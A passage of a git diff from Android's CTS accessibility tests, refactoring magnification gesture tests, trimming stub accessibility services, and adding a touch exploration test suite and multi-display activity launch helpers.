     private void setZoomByTripleTapping(boolean desiredZoomState) {
         if (isZoomed() == desiredZoomState) return;
-        dispatch(tripleTap());
+        dispatch(tripleTap(mTapLocation));
         waitOn(mZoomLock, () -> isZoomed() == desiredZoomState);
-        assertNoTouchInputPropagated();
+        mTouchListener.assertNonePropagated();
     }
 
     private void tripleTapAndDragViewport() {
@@ -210,10 +211,10 @@
         dispatch(drag);
         waitOn(mZoomLock, () -> distance(mCurrentZoomCenter, oldCenter) >= mPan / 5);
         assertTrue(isZoomed());
-        assertNoTouchInputPropagated();
+        mTouchListener.assertNonePropagated();
 
         dispatch(pointerUp(drag));
-        assertNoTouchInputPropagated();
+        mTouchListener.assertNonePropagated();
     }
 
     private StrokeDescription tripleTapAndHold() {
@@ -227,22 +228,18 @@
 
     private void assertGesturesPropagateToView() {
         dispatch(click(mTapLocation));
-        assertPropagated(ACTION_DOWN, ACTION_UP);
+        mTouchListener.assertPropagated(ACTION_DOWN, ACTION_UP);
 
         dispatch(longClick(mTapLocation));
-        assertPropagated(ACTION_DOWN, ACTION_UP);
+        mTouchListener.assertPropagated(ACTION_DOWN, ACTION_UP);
 
-        dispatch(doubleTap());
-        assertPropagated(ACTION_DOWN, ACTION_UP, ACTION_DOWN, ACTION_UP);
+        dispatch(doubleTap(mTapLocation));
+        mTouchListener.assertPropagated(ACTION_DOWN, ACTION_UP, ACTION_DOWN, ACTION_UP);
 
         dispatch(swipe(
                 mTapLocation,
                 add(mTapLocation, 0, 29)));
-        assertPropagated(ACTION_DOWN, ACTION_MOVE, ACTION_UP);
-    }
-
-    private void assertNoTouchInputPropagated() {
-        assertThat(prettyPrintable(mTouchListener.events), is(empty()));
+        mTouchListener.assertPropagated(ACTION_DOWN, ACTION_MOVE, ACTION_UP);
     }
 
     private void setMagnificationEnabled(boolean enabled) {
@@ -254,50 +251,6 @@
         return mCurrentScale >= MIN_SCALE;
     }
 
-    private void assertPropagated(int... eventTypes) {
-        MotionEvent ev;
-        try {
-            while (true) {
-                if (eventTypes.length == 0) return;
-                int expectedEventType = eventTypes[0];
-                long startedPollingAt = SystemClock.uptimeMillis();
-                ev = mTouchListener.events.poll(5, SECONDS);
-                assertNotNull("Expected "
-                        + MotionEvent.actionToString(expectedEventType)
-                        + " but none present after "
-                        + (SystemClock.uptimeMillis() - startedPollingAt) + "ms",
-                        ev);
-                int action = ev.getActionMasked();
-                if (action == expectedEventType) {
-                    eventTypes = Arrays.copyOfRange(eventTypes, 1, eventTypes.length);
-                } else {
-                    if (action != ACTION_MOVE) fail("Unexpected event: " + ev);
-                }
-            }
-        } catch (InterruptedException e) {
-            throw new RuntimeException(e);
-        }
-    }
-
-    private GestureDescription doubleTap() {
-        return multiTap(2);
-    }
-
-    private GestureDescription tripleTap() {
-        return multiTap(3);
-    }
-
-    private GestureDescription multiTap(int taps) {
-        GestureDescription.Builder builder = new GestureDescription.Builder();
-        long time = 0;
-        for (int i = 0; i < taps; i++) {
-            StrokeDescription stroke = click(mTapLocation);
-            builder.addStroke(startingAt(time, stroke));
-            time += stroke.getDuration() + 20;
-        }
-        return builder.build();
-    }
-
     public void dispatch(StrokeDescription firstStroke, StrokeDescription... rest) {
         GestureDescription.Builder builder =
                 new GestureDescription.Builder().addStroke(firstStroke);
@@ -310,17 +263,4 @@
     public void dispatch(GestureDescription gesture) {
         await(dispatchGesture(mService, gesture));
     }
-
-    private static <T> Collection<T> prettyPrintable(Collection<T> c) {
-        return new ArrayList<T>(c) {
-
-            @Override
-            public String toString() {
-                return stream()
-                        .map(t -> "\n" + t)
-                        .reduce(String::concat)
-                        .orElse("");
-            }
-        };
-    }
 }
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/StubAccessibilityButtonService.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/StubAccessibilityButtonService.java
index c0ce5b6..5223f22 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/StubAccessibilityButtonService.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/StubAccessibilityButtonService.java
@@ -15,15 +15,9 @@
 package android.accessibilityservice.cts;
 
 import android.accessibility.cts.common.InstrumentedAccessibilityService;
-import android.app.Instrumentation;
-import android.app.UiAutomation;
 
 /**
  * A stub accessibility service to install for testing accessibility button APIs
  */
 public class StubAccessibilityButtonService extends InstrumentedAccessibilityService {
-    public static StubAccessibilityButtonService enableSelf(Instrumentation instrumentation) {
-        return InstrumentedAccessibilityService.enableService(
-                instrumentation, StubAccessibilityButtonService.class);
-    }
 }
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/StubFingerprintGestureService.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/StubFingerprintGestureService.java
index 87539f8..bf78b48 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/StubFingerprintGestureService.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/StubFingerprintGestureService.java
@@ -15,14 +15,9 @@
 package android.accessibilityservice.cts;
 
 import android.accessibility.cts.common.InstrumentedAccessibilityService;
-import android.app.Instrumentation;
 
 /**
  * A stub accessibility service to install for testing gesture dispatch
  */
 public class StubFingerprintGestureService extends InstrumentedAccessibilityService {
-    public static StubFingerprintGestureService enableSelf(Instrumentation instrumentation) {
-        return InstrumentedAccessibilityService.enableService(
-                instrumentation, StubFingerprintGestureService.class);
-    }
 }
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/StubGestureAccessibilityService.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/StubGestureAccessibilityService.java
index 68c4e7b..eb90389 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/StubGestureAccessibilityService.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/StubGestureAccessibilityService.java
@@ -15,22 +15,9 @@
 package android.accessibilityservice.cts;
 
 import android.accessibility.cts.common.InstrumentedAccessibilityService;
-import android.accessibilityservice.GestureDescription;
-import android.app.Instrumentation;
-import android.os.Handler;
 
 /**
  * A stub accessibility service to install for testing gesture dispatch
  */
 public class StubGestureAccessibilityService extends InstrumentedAccessibilityService {
-
-    public boolean doDispatchGesture(GestureDescription description, GestureResultCallback callback,
-            Handler handler) {
-        return dispatchGesture(description, callback, handler);
-    }
-
-    public static StubGestureAccessibilityService enableSelf(Instrumentation instrumentation) {
-        return InstrumentedAccessibilityService.enableService(
-                instrumentation, StubGestureAccessibilityService.class);
-    }
 }
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/StubMagnificationAccessibilityService.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/StubMagnificationAccessibilityService.java
index 195ce89..2ce0e37 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/StubMagnificationAccessibilityService.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/StubMagnificationAccessibilityService.java
@@ -15,16 +15,9 @@
 package android.accessibilityservice.cts;
 
 import android.accessibility.cts.common.InstrumentedAccessibilityService;
-import android.app.Instrumentation;
 
 /**
  * A stub accessibility service to install for testing gesture dispatch
  */
 public class StubMagnificationAccessibilityService extends InstrumentedAccessibilityService {
-
-    public static StubMagnificationAccessibilityService enableSelf(
-            Instrumentation instrumentation) {
-        return InstrumentedAccessibilityService.enableService(
-                instrumentation, StubMagnificationAccessibilityService.class);
-    }
 }
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorationStubAccessibilityService.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorationStubAccessibilityService.java
new file mode 100644
index 0000000..61a1cea
--- /dev/null
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorationStubAccessibilityService.java
@@ -0,0 +1,44 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * <p>Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file
+ * except in compliance with the License. You may obtain a copy of the License at
+ *
+ * <p>http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * <p>Unless required by applicable law or agreed to in writing, software distributed under the
+ * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
+ * express or implied. See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.accessibilityservice.cts;
+
+import static android.view.accessibility.AccessibilityEvent.TYPE_GESTURE_DETECTION_END;
+import static android.view.accessibility.AccessibilityEvent.TYPE_GESTURE_DETECTION_START;
+import static android.view.accessibility.AccessibilityEvent.TYPE_VIEW_ACCESSIBILITY_FOCUSED;
+import static android.view.accessibility.AccessibilityEvent.TYPE_VIEW_CLICKED;
+import static android.view.accessibility.AccessibilityEvent.TYPE_VIEW_LONG_CLICKED;
+
+import android.view.accessibility.AccessibilityEvent;
+
+/**
+ * This accessibility service stub collects all events relating to touch exploration rather than
+ * just the few collected by GestureDetectionStubAccessibilityService
+ */
+public class TouchExplorationStubAccessibilityService
+        extends GestureDetectionStubAccessibilityService {
+    @Override
+    public void onAccessibilityEvent(AccessibilityEvent event) {
+        synchronized (mLock) {
+            switch (event.getEventType()) {
+                case TYPE_GESTURE_DETECTION_START:
+                case TYPE_GESTURE_DETECTION_END:
+                case TYPE_VIEW_ACCESSIBILITY_FOCUSED:
+                case TYPE_VIEW_CLICKED:
+                case TYPE_VIEW_LONG_CLICKED:
+                    mCollectedEvents.add(event.getEventType());
+            }
+        }
+        super.onAccessibilityEvent(event);
+    }
+}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java
new file mode 100644
index 0000000..097be6a9
--- /dev/null
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java
@@ -0,0 +1,371 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.accessibilityservice.cts;
+
+import static android.accessibilityservice.cts.utils.AsyncUtils.await;
+import static android.accessibilityservice.cts.utils.GestureUtils.IS_ACTION_DOWN;
+import static android.accessibilityservice.cts.utils.GestureUtils.IS_ACTION_MOVE;
+import static android.accessibilityservice.cts.utils.GestureUtils.IS_ACTION_UP;
+import static android.accessibilityservice.cts.utils.GestureUtils.add;
+import static android.accessibilityservice.cts.utils.GestureUtils.ceil;
+import static android.accessibilityservice.cts.utils.GestureUtils.click;
+import static android.accessibilityservice.cts.utils.GestureUtils.diff;
+import static android.accessibilityservice.cts.utils.GestureUtils.dispatchGesture;
+import static android.accessibilityservice.cts.utils.GestureUtils.doubleTap;
+import static android.accessibilityservice.cts.utils.GestureUtils.doubleTapAndHold;
+import static android.accessibilityservice.cts.utils.GestureUtils.isRawAtPoint;
+import static android.accessibilityservice.cts.utils.GestureUtils.multiTap;
+import static android.accessibilityservice.cts.utils.GestureUtils.swipe;
+import static android.accessibilityservice.cts.utils.GestureUtils.times;
+import static android.view.MotionEvent.ACTION_HOVER_ENTER;
+import static android.view.MotionEvent.ACTION_HOVER_EXIT;
+import static android.view.MotionEvent.ACTION_HOVER_MOVE;
+import static android.view.accessibility.AccessibilityEvent.TYPE_GESTURE_DETECTION_END;
+import static android.view.accessibility.AccessibilityEvent.TYPE_GESTURE_DETECTION_START;
+import static android.view.accessibility.AccessibilityEvent.TYPE_TOUCH_EXPLORATION_GESTURE_END;
+import static android.view.accessibility.AccessibilityEvent.TYPE_TOUCH_EXPLORATION_GESTURE_START;
+import static android.view.accessibility.AccessibilityEvent.TYPE_TOUCH_INTERACTION_END;
+import static android.view.accessibility.AccessibilityEvent.TYPE_TOUCH_INTERACTION_START;
+import static android.view.accessibility.AccessibilityEvent.TYPE_VIEW_ACCESSIBILITY_FOCUSED;
+import static android.view.accessibility.AccessibilityEvent.TYPE_VIEW_CLICKED;
+import static android.view.accessibility.AccessibilityEvent.TYPE_VIEW_LONG_CLICKED;
+
+import static org.hamcrest.CoreMatchers.both;
+import static org.hamcrest.MatcherAssert.assertThat;
+
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
+import android.accessibility.cts.common.InstrumentedAccessibilityServiceTestRule;
+import android.accessibilityservice.GestureDescription;
+import android.accessibilityservice.GestureDescription.StrokeDescription;
+import android.accessibilityservice.cts.AccessibilityGestureDispatchTest.GestureDispatchActivity;
+import android.accessibilityservice.cts.utils.EventCapturingClickListener;
+import android.accessibilityservice.cts.utils.EventCapturingHoverListener;
+import android.accessibilityservice.cts.utils.EventCapturingLongClickListener;
+import android.accessibilityservice.cts.utils.EventCapturingTouchListener;
+import android.app.Instrumentation;
+import android.app.UiAutomation;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.graphics.Point;
+import android.graphics.PointF;
+import android.platform.test.annotations.AppModeFull;
+import android.util.DisplayMetrics;
+import android.view.MotionEvent;
+import android.view.View;
+import android.view.ViewConfiguration;
+import android.view.WindowManager;
+import android.view.accessibility.AccessibilityNodeInfo;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+
+/**
+ * A set of tests for testing touch exploration. Each test dispatches a gesture and checks for the
+ * appropriate hover and/or touch events followed by the appropriate accessibility events. Some
+ * tests will then check for events from the view.
+ */
+@RunWith(AndroidJUnit4.class)
+@AppModeFull
+public class TouchExplorerTest {
+    // Constants
+    private static final float GESTURE_LENGTH_INCHES = 1.0f;
+    private static final int SWIPE_TIME_MILLIS = 400;
+    private TouchExplorationStubAccessibilityService mService;
+    private Instrumentation mInstrumentation;
+    private UiAutomation mUiAutomation;
+    private boolean mHasTouchscreen;
+    private boolean mScreenBigEnough;
+    private EventCapturingHoverListener mHoverListener = new EventCapturingHoverListener(false);
+    private EventCapturingTouchListener mTouchListener = new EventCapturingTouchListener(false);
+    private EventCapturingClickListener mClickListener = new EventCapturingClickListener();
+    private EventCapturingLongClickListener mLongClickListener =
+            new EventCapturingLongClickListener();
+
+    private ActivityTestRule<GestureDispatchActivity> mActivityRule =
+            new ActivityTestRule<>(GestureDispatchActivity.class, false);
+
+    private InstrumentedAccessibilityServiceTestRule<TouchExplorationStubAccessibilityService>
+            mServiceRule = new InstrumentedAccessibilityServiceTestRule<>(
+                    TouchExplorationStubAccessibilityService.class, false);
+
+    private AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+            new AccessibilityDumpOnFailureRule();
+
+    @Rule
+    public final RuleChain mRuleChain = RuleChain
+            .outerRule(mActivityRule)
+            .around(mServiceRule)
+            .around(mDumpOnFailureRule);
+
+    Point mCenter; // Center of screen. Gestures all start from this point.
+    PointF mTapLocation;
+    float mSwipeDistance;
+    View mView;
+
+    @Before
+    public void setUp() throws Exception {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mUiAutomation = mInstrumentation.getUiAutomation(
+            UiAutomation.FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES);
+        PackageManager pm = mInstrumentation.getContext().getPackageManager();
+        mHasTouchscreen = pm.hasSystemFeature(PackageManager.FEATURE_TOUCHSCREEN)
+                || pm.hasSystemFeature(PackageManager.FEATURE_FAKETOUCH);
+        // Find screen size, check that it is big enough for gestures.
+        // Gestures will start in the center of the screen, so we need enough horiz/vert space.
+        WindowManager windowManager =
+                (WindowManager)
+                        mInstrumentation.getContext().getSystemService(Context.WINDOW_SERVICE);
+        final DisplayMetrics metrics = new DisplayMetrics();
+        windowManager.getDefaultDisplay().getRealMetrics(metrics);
+        mCenter = new Point((int) metrics.widthPixels / 2, (int) metrics.heightPixels / 2);
+        mTapLocation = new PointF(mCenter);
+        mScreenBigEnough = (metrics.widthPixels / (2 * metrics.xdpi) > GESTURE_LENGTH_INCHES);
+        if (!mHasTouchscreen || !mScreenBigEnough) return;
+        mService = mServiceRule.enableService();
+        mView = mActivityRule.getActivity().findViewById(R.id.full_screen_text_view);
+        mView.setOnHoverListener(mHoverListener);
+        mView.setOnTouchListener(mTouchListener);
+        mInstrumentation.runOnMainSync(
+                () -> {
+                    mSwipeDistance = mView.getWidth() / 4;
+                    mView.setOnClickListener(mClickListener);
+                    mView.setOnLongClickListener(mLongClickListener);
+                });
+    }
+
+    /** Test a slow swipe which should initiate touch exploration. */
+    @Test
+    @AppModeFull
+    public void testSlowSwipe_initiatesTouchExploration() {
+        if (!mHasTouchscreen || !mScreenBigEnough) return;
+        dispatch(swipe(mTapLocation, add(mTapLocation, mSwipeDistance, 0), SWIPE_TIME_MILLIS));
+        mHoverListener.assertPropagated(ACTION_HOVER_ENTER, ACTION_HOVER_MOVE, ACTION_HOVER_EXIT);
+        mTouchListener.assertNonePropagated();
+        mService.assertPropagated(
+                TYPE_TOUCH_INTERACTION_START,
+                TYPE_TOUCH_EXPLORATION_GESTURE_START,
+                TYPE_TOUCH_EXPLORATION_GESTURE_END,
+                TYPE_TOUCH_INTERACTION_END);
+    }
+
+    /** Test a fast swipe which should not initiate touch exploration. */
+    @Test
+    @AppModeFull
+    public void testFastSwipe_doesNotInitiateTouchExploration() {
+        if (!mHasTouchscreen || !mScreenBigEnough) return;
+        dispatch(swipe(mTapLocation, add(mTapLocation, mSwipeDistance, 0)));
+        mHoverListener.assertNonePropagated();
+        mTouchListener.assertNonePropagated();
+        mService.assertPropagated(
+                TYPE_TOUCH_INTERACTION_START,
+                TYPE_GESTURE_DETECTION_START,
+                TYPE_GESTURE_DETECTION_END,
+                TYPE_TOUCH_INTERACTION_END);
+    }
+
+    /**
+     * Test a two finger drag. TouchExplorer would perform a drag gesture when two fingers moving
+     * in the same direction.
+     */
+    @Test
+    @AppModeFull
+    public void testTwoFingerDrag_dispatchesEventsBetweenFingers() {
+        if (!mHasTouchscreen || !mScreenBigEnough) return;
+        // A two point moving that are in the same direction can perform a drag gesture by
+        // TouchExplorer while one point moving can not perform a drag gesture. We use two swipes
+        // to emulate a two finger drag gesture.
+        final int twoFingerOffset = (int) mSwipeDistance;
+        final PointF dragStart = mTapLocation;
+        final PointF dragEnd = add(dragStart, 0, mSwipeDistance);
+        final PointF finger1Start = add(dragStart, twoFingerOffset, 0);
+        final PointF finger1End = add(finger1Start, 0, mSwipeDistance);
+        final PointF finger2Start = add(dragStart, -twoFingerOffset, 0);
+        final PointF finger2End = add(finger2Start, 0, mSwipeDistance);
+        dispatch(swipe(finger1Start, finger1End, SWIPE_TIME_MILLIS),
+                swipe(finger2Start, finger2End, SWIPE_TIME_MILLIS));
+        List<MotionEvent> twoFingerPoints = mTouchListener.getRawEvents();
+
+        // Check the drag events performed by a two finger drag. The moving locations would be
+        // adjusted to the middle of two fingers.
+        final int numEvents = twoFingerPoints.size();
+        final int upEventIndex = numEvents - 1;
+        final float intervalFraction = ((float) (twoFingerPoints.get(1).getEventTime()
+                - twoFingerPoints.get(0).getEventTime())) / SWIPE_TIME_MILLIS;
+        for (int i = 0; i < numEvents; i++) {
+            MotionEvent moveEvent = twoFingerPoints.get(i);
+            float fractionOfDrag = intervalFraction * (i + 1);
+            if (i == 0) {
+                PointF downPoint = add(finger2Start,
+                        ceil(times(fractionOfDrag, diff(dragEnd, dragStart))));
+                assertThat(moveEvent,
+                        both(IS_ACTION_DOWN).and(isRawAtPoint(downPoint)));
+            } else if (i == upEventIndex) {
+                assertThat(moveEvent,
+                        both(IS_ACTION_UP).and(isRawAtPoint(finger2End)));
+            } else {
+                PointF intermediatePoint = add(dragStart,
+                        ceil(times(fractionOfDrag, diff(dragEnd, dragStart))));
+                assertThat(moveEvent,
+                        both(IS_ACTION_MOVE).and(isRawAtPoint(intermediatePoint)));
+            }
+        }
+    }
+
+    /** Test a basic single tap which should initiate touch exploration. */
+    @Test
+    @AppModeFull
+    public void testSingleTap_initiatesTouchExploration() {
+        if (!mHasTouchscreen || !mScreenBigEnough) return;
+        dispatch(click(mTapLocation));
+        mHoverListener.assertPropagated(ACTION_HOVER_ENTER, ACTION_HOVER_EXIT);
+        mTouchListener.assertNonePropagated();
+        mService.assertPropagated(
+                TYPE_TOUCH_INTERACTION_START,
+                TYPE_TOUCH_EXPLORATION_GESTURE_START,
+                TYPE_TOUCH_EXPLORATION_GESTURE_END,
+                TYPE_TOUCH_INTERACTION_END);
+    }
+
+    /**
+     * Test the case where we execute a "sloppy" double tap, meaning that the second tap isn't
+     * exactly in the same location as the first but still within tolerances. It should behave the
+     * same as a standard double tap.
+     */
+    @Test
+    @AppModeFull
+    public void testSloppyDoubleTapAccessibilityFocus_performsClick() {
+        if (!mHasTouchscreen || !mScreenBigEnough) return;
+        syncAccessibilityFocusToInputFocus();
+        int slop = ViewConfiguration.get(mInstrumentation.getContext()).getScaledDoubleTapSlop();
+        dispatch(multiTap(mTapLocation, 2, slop));
+        mHoverListener.assertNonePropagated();
+        // The click should not be delivered via touch events in this case.
+        mTouchListener.assertNonePropagated();
+        mService.assertPropagated(
+                TYPE_VIEW_ACCESSIBILITY_FOCUSED,
+                TYPE_TOUCH_INTERACTION_START,
+                TYPE_TOUCH_INTERACTION_END,
+                TYPE_VIEW_CLICKED);
+        mClickListener.assertClicked(mView);
+    }
+
+    /**
+     * Test the case where we want to click on the item that has accessibility focus by using
+     * AccessibilityNodeInfo.performAction.
+     */
+    @Test
+    @AppModeFull
+    public void testDoubleTapAccessibilityFocus_performsClick() {
+        if (!mHasTouchscreen || !mScreenBigEnough) return;
+        syncAccessibilityFocusToInputFocus();
+        dispatch(doubleTap(mTapLocation));
+        mHoverListener.assertNonePropagated();
+        // The click should not be delivered via touch events in this case.
+        mTouchListener.assertNonePropagated();
+        mService.assertPropagated(
+                TYPE_VIEW_ACCESSIBILITY_FOCUSED,
+                TYPE_TOUCH_INTERACTION_START,
+                TYPE_TOUCH_INTERACTION_END,
+                TYPE_VIEW_CLICKED);
+        mClickListener.assertClicked(mView);
+    }
+
+    /**
+     * Test the case where we double tap but there is no  accessibility focus. Nothing should
+     * happen.
+     */
+    @Test
+    @AppModeFull
+    public void testDoubleTapNoAccessibilityFocus_doesNotPerformClick() {
+        if (!mHasTouchscreen || !mScreenBigEnough) return;
+        dispatch(doubleTap(mTapLocation));
+        mHoverListener.assertNonePropagated();
+        mTouchListener.assertNonePropagated();
+        mService.assertPropagated(
+                 TYPE_TOUCH_INTERACTION_START, TYPE_TOUCH_INTERACTION_END);
+        mService.clearEvents();
+        mClickListener.assertNoneClicked();
+    }
+
+    /** Test the case where we want to long click on the item that has accessibility focus. */
+    @Test
+    @AppModeFull
+    public void testDoubleTapAndHoldAccessibilityFocus_performsLongClick() {
+        if (!mHasTouchscreen || !mScreenBigEnough) return;
+        syncAccessibilityFocusToInputFocus();
+        dispatch(doubleTapAndHold(mTapLocation));
+        mHoverListener.assertNonePropagated();
+        // The click should not be delivered via touch events in this case.
+        mTouchListener.assertNonePropagated();
+        mService.assertPropagated(
+                TYPE_VIEW_ACCESSIBILITY_FOCUSED,
+                TYPE_TOUCH_INTERACTION_START,
+                TYPE_VIEW_LONG_CLICKED,
+                TYPE_TOUCH_INTERACTION_END);
+        mLongClickListener.assertLongClicked(mView);
+    }
+
+    /**
+     * Test the case where we double tap and hold but there is no accessibility focus.
+     * Nothing should happen.
+     */
+    @Test
+    @AppModeFull
+    public void testDoubleTapAndHoldNoAccessibilityFocus_doesNotPerformLongClick() {
+        if (!mHasTouchscreen || !mScreenBigEnough) return;
+        dispatch(doubleTap(mTapLocation));
+        mHoverListener.assertNonePropagated();
+        mTouchListener.assertNonePropagated();
+        mService.assertPropagated(
+                TYPE_TOUCH_INTERACTION_START, TYPE_TOUCH_INTERACTION_END);
+        mService.clearEvents();
+        mLongClickListener.assertNoneLongClicked();
+    }
+
+    public void dispatch(StrokeDescription firstStroke, StrokeDescription... rest) {
+        GestureDescription.Builder builder =
+                new GestureDescription.Builder().addStroke(firstStroke);
+        for (StrokeDescription stroke : rest) {
+            builder.addStroke(stroke);
+        }
+        dispatch(builder.build());
+    }
+
+    public void dispatch(GestureDescription gesture) {
+        await(dispatchGesture(mService, gesture));
+    }
+
+    /** Set the accessibility focus to the element that has input focus. */
+    private void syncAccessibilityFocusToInputFocus() {
+        mService.runOnServiceSync(
+                () -> {
+                    mUiAutomation
+                            .getRootInActiveWindow()
+                            .findFocus(AccessibilityNodeInfo.FOCUS_INPUT)
+                            .performAction(AccessibilityNodeInfo.ACTION_ACCESSIBILITY_FOCUS);
+                });
+    }
+}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/ActivityLaunchUtils.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/ActivityLaunchUtils.java
index 6902c8f..c3220ad 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/ActivityLaunchUtils.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/ActivityLaunchUtils.java
@@ -17,11 +17,13 @@
 import static android.accessibilityservice.cts.utils.AsyncUtils.DEFAULT_TIMEOUT_MS;
 
 import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
 import android.accessibilityservice.AccessibilityService;
 import android.accessibilityservice.AccessibilityServiceInfo;
 import android.app.Activity;
+import android.app.ActivityOptions;
 import android.app.Instrumentation;
 import android.app.UiAutomation;
 import android.content.Context;
@@ -29,10 +31,13 @@
 import android.content.pm.PackageManager;
 import android.content.pm.ResolveInfo;
 import android.graphics.Rect;
+import android.os.Bundle;
 import android.os.PowerManager;
 import android.os.SystemClock;
 import android.text.TextUtils;
 import android.util.Log;
+import android.util.SparseArray;
+import android.view.Display;
 import android.view.InputDevice;
 import android.view.KeyCharacterMap;
 import android.view.KeyEvent;
@@ -62,40 +67,37 @@
     public static <T extends Activity> T launchActivityAndWaitForItToBeOnscreen(
             Instrumentation instrumentation, UiAutomation uiAutomation,
             ActivityTestRule<T> rule) throws Exception {
-        final int[] location = new int[2];
-        final StringBuilder activityPackage = new StringBuilder();
-        final Rect bounds = new Rect();
-        final StringBuilder activityTitle = new StringBuilder();
-        // Make sure we get window events, so we'll know when the window appears
-        AccessibilityServiceInfo info = uiAutomation.getServiceInfo();
-        info.flags |= AccessibilityServiceInfo.FLAG_RETRIEVE_INTERACTIVE_WINDOWS;
-        uiAutomation.setServiceInfo(info);
-        homeScreenOrBust(instrumentation.getContext(), uiAutomation);
-        final AccessibilityEvent awaitedEvent = uiAutomation.executeAndWaitForEvent(
-                () -> {
-                    mTempActivity = rule.launchActivity(null);
-                    final StringBuilder builder = new StringBuilder();
-                    instrumentation.runOnMainSync(() -> {
-                        mTempActivity.getWindow().getDecorView().getLocationOnScreen(location);
-                        activityPackage.append(mTempActivity.getPackageName());
-                    });
-                    instrumentation.waitForIdleSync();
-                    activityTitle.append(getActivityTitle(instrumentation, mTempActivity));
-                },
-                (event) -> {
-                    final AccessibilityWindowInfo window =
-                            findWindowByTitle(uiAutomation, activityTitle);
-                    if (window == null) return false;
-                    window.getBoundsInScreen(bounds);
-                    mTempActivity.getWindow().getDecorView().getLocationOnScreen(location);
-                    if (bounds.isEmpty()) {
-                        return false;
-                    }
-                    return (!bounds.isEmpty())
-                            && (bounds.left == location[0]) && (bounds.top == location[1]);
-                }, DEFAULT_TIMEOUT_MS);
-        assertNotNull(awaitedEvent);
-        return (T) mTempActivity;
+        ActivityLauncher activityLauncher = new ActivityLauncher() {
+            @Override
+            Activity launchActivity() {
+                return rule.launchActivity(null);
+            }
+        };
+        return launchActivityOnSpecifiedDisplayAndWaitForItToBeOnscreen(instrumentation,
+                uiAutomation, activityLauncher, Display.DEFAULT_DISPLAY);
+    }
+
+    /**
+     * If this activity would be launched at virtual display, please finishes this activity before
+     * this test ended. Otherwise it will be displayed on default display and impacts the next test.
+     */
+    public static <T extends Activity> T launchActivityOnSpecifiedDisplayAndWaitForItToBeOnscreen(
+            Instrumentation instrumentation, UiAutomation uiAutomation, Class<T> clazz,
+            int displayId) throws Exception {
+        final ActivityOptions options = ActivityOptions.makeBasic();
+        options.setLaunchDisplayId(displayId);
+        final Intent intent = new Intent(instrumentation.getTargetContext(), clazz);
+        // Add clear task because this activity may on other display.
+        intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK|Intent.FLAG_ACTIVITY_NEW_TASK);
+
+        ActivityLauncher activityLauncher = new ActivityLauncher() {
+            @Override
+            Activity launchActivity() {
+                return instrumentation.startActivitySync(intent, options.toBundle());
+            }
+        };
+        return launchActivityOnSpecifiedDisplayAndWaitForItToBeOnscreen(instrumentation,
+                uiAutomation, activityLauncher, displayId);
     }
 
     public static CharSequence getActivityTitle(
@@ -108,16 +110,15 @@
     public static AccessibilityWindowInfo findWindowByTitle(
             UiAutomation uiAutomation, CharSequence title) {
         final List<AccessibilityWindowInfo> windows = uiAutomation.getWindows();
-        AccessibilityWindowInfo returnValue = null;
-        for (int i = 0; i < windows.size(); i++) {
-            final AccessibilityWindowInfo window = windows.get(i);
-            if (TextUtils.equals(title, window.getTitle())) {
-                returnValue = window;
-            } else {
-                window.recycle();
-            }
-        }
-        return returnValue;
+        return findWindowByTitleWithList(title, windows);
+    }
+
+    public static AccessibilityWindowInfo findWindowByTitleAndDisplay(
+            UiAutomation uiAutomation, CharSequence title, int displayId) {
+        final SparseArray<List<AccessibilityWindowInfo>> allWindows =
+                uiAutomation.getWindowsOnAllDisplays();
